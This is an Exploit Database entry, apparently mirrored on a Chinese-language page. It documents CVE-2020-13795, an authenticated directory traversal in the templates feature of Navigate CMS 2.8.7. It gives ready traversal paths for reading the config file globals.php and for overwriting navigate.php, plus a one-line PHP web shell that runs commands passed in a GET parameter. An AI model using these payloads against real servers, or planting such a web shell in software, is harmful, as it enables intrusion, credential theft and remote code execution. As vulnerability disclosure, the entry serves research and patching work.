Navigate CMS 2.8.7 – Authenticated Directory Traversal

• Exploit Database
• 15 阅读

• 作者： Gus Ralph
  日期： 2020-06-04
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/48550/

• # Exploit Title: Navigate CMS 2.8.7 - Authenticated Directory Traversal
  # Date: 2020-06-04
  # Exploit Author: Gus Ralph
  # Vendor Homepage: https://www.navigatecms.com/en/home
  # Software Link: https://sourceforge.net/projects/navigatecms/files/releases/navigate-2.8.7r1401.zip/download
  # Version: 2.8.7
  # Tested on: Ubuntu
  # CVE: CVE-2020-13795
  
  A malicious user can abuse the authenticated templates functionality to traverse out of the templates directory to read and write to any file on the webserver as www-data.
  
  For this vulnerability, I looked into the "templates" feature of the application. It seems we can edit any file in the application's templates directory, for example:
   `/var/www/html/navigate/private/1/templates/`
   
  My initial thought was to traverse out of the current directory and read the global config file (located at `/var/www/html/navigate/cfg/globals.php`).
  
  My payload would then consist of creating a template, setting the path to be `/var/www/html/navigate/private/1/templates/../../../cfg/globals.php`
  
  Furthermore, this can be abused to write to a PHP file and gain RCE on the remote server, for example:
  
  Traversal payload:
  `../../../navigate.php`
  
  PHP Code execution payload:
  ```
  <?php
  system($_GET['cmd']);
  ?>
  ```